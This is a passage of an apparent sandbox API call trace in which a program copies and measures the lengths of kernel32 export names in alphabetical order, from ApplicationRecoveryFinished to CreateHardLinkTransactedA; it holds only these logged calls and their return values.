lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0057.613] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0057.613] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0057.613] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0057.613] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0057.613] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0057.613] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0057.613] lstrlenA (lpString="BACKUPREAD") returned 10 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0057.614] lstrlenA (lpString="BACKUPSEEK") returned 10 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0057.614] lstrlenA (lpString="BACKUPWRITE") returned 11 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0057.614] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0057.614] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0057.614] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0057.614] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0057.614] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0057.614] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0057.614] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0057.614] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0057.614] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0057.614] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0057.614] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0057.614] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0057.614] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0057.614] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0057.614] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0057.614] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0057.615] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0057.615] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0057.615] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0057.615] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0057.615] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0057.615] lstrcpyA (in: lpString1=0x321ddb0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0057.615] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0057.615] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0057.615] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0057.616] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0057.616] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0057.616] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0057.616] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0057.616] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0057.616] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0057.616] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0057.616] lstrlenA (lpString="BEEP") returned 4 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0057.616] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0057.616] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0057.616] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0057.616] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0057.616] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0057.616] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0057.616] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0057.616] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0057.617] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0057.617] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0057.617] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0057.617] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0057.617] lstrlenA (lpString="CANCELIO") returned 8 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0057.617] lstrlenA (lpString="CANCELIOEX") returned 10 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0057.617] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0057.617] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0057.617] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0057.617] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0057.617] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0057.617] lstrlenA (lpString="CHECKELEVATION") returned 14 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0057.617] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0057.617] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0057.617] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0057.617] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0057.617] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0057.618] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0057.618] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0057.618] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0057.618] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0057.618] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0057.618] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0057.618] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0057.618] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0057.618] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0057.618] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0057.618] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0057.618] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0057.618] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0057.618] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0057.618] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0057.618] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0057.619] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0057.619] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0057.619] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0057.619] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0057.619] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0057.619] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0057.619] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0057.619] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0057.619] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0057.619] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0057.619] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0057.619] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0057.619] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0057.619] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0057.619] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0057.619] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0057.620] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0057.620] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0057.620] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0057.620] lstrlenA (lpString="COPYCONTEXT") returned 11 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0057.620] lstrlenA (lpString="COPYFILEA") returned 9 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0057.620] lstrlenA (lpString="COPYFILEEXA") returned 11 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0057.620] lstrlenA (lpString="COPYFILEEXW") returned 11 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0057.620] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0057.620] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0057.620] lstrlenA (lpString="COPYFILEW") returned 9 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0057.620] lstrlenA (lpString="COPYLZFILE") returned 10 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0057.620] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0057.620] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0057.620] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0057.620] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0057.620] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0057.621] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0057.621] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0057.621] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0057.621] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0057.621] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0057.621] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0057.621] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0057.621] lstrlenA (lpString="CREATEEVENTA") returned 12 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0057.621] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0057.621] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0057.621] lstrlenA (lpString="CREATEEVENTW") returned 12 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0057.621] lstrlenA (lpString="CREATEFIBER") returned 11 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0057.621] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0057.621] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0057.621] lstrlenA (lpString="CREATEFILEA") returned 11 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0057.622] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0057.622] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0057.622] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0057.622] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0057.622] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0057.622] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0057.622] lstrlenA (lpString="CREATEFILEW") returned 11 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0057.622] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateHardLinkTransactedA" | out: 